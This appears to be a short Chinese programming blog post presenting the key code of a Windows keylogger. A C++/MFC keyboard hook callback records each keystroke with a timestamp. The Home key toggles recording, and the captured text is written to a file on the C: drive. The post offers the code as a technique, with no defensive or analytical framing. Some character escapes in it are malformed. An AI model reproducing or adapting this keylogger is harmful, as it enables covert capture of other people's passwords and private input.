HOOK+file实现键盘记录功能。

关键代码;
LRESULT CALLBACK KeyboardProc(
  int code,       // hook code
  WPARAM wParam,  // virtual-key code
  LPARAM lParam   // keystroke-message information
)
{
 static CString str;
 
 if(VK_HOME == wParam && ((lParam&0x40000000) == 0))
 { 
  //CFile cf;
  //cf.Open("C://b.txt",CFile::modeWrite);
  //cf.SeekToEnd();
  //cf.Write(&wParam,4);
  //cf.Write(&lParam,4);
 // cf.Close();
  if(flag == 0)
   flag = 1;
  else
   flag = 0;
  if(flag == 1)
   return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
 }
 if(VK_HOME == wParam && ((lParam&0x40000000) == 0))
 {
  if(!flag)
  {
   CFile cf;
   cf.Open("C://a.txt",CFile::modeCreate|CFile::modeWrite);
   int count = str.GetLength();
   for(int i=0;i<count;i++)
   {
    char t = str.GetAt(i);
    cf.Write(&t,1);
    t = '/xd';
    cf.Write(&t,1);
    t = '/xa';
    cf.Write(&t,1);
   }
   cf.Close();
  }
  return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
 }
 if(flag && ((lParam&0x40000000) == 0))
 {
  CString time;
  CTime t = CTime::GetCurrentTime();
  time.Format("  %d:%d:%d   ",t.GetHour(),t.GetMinute(),t.GetSecond());
  if(wParam >= 0x60 && wParam <= 0x69)
  {
  char temp[2];
  temp[0]=wParam - 0x30;
  temp[1] = 0;
  str += time;
  str += temp;
  }
  else
  {
  char temp[2];
  temp[0]=wParam;
  temp[1] = 0;
  str += time;
  str += temp;
  }
 }
 return CallNextHookEx(g_hKeyboard,code,wParam,lParam);
}

你可能感兴趣的:(c,File,callback,hook)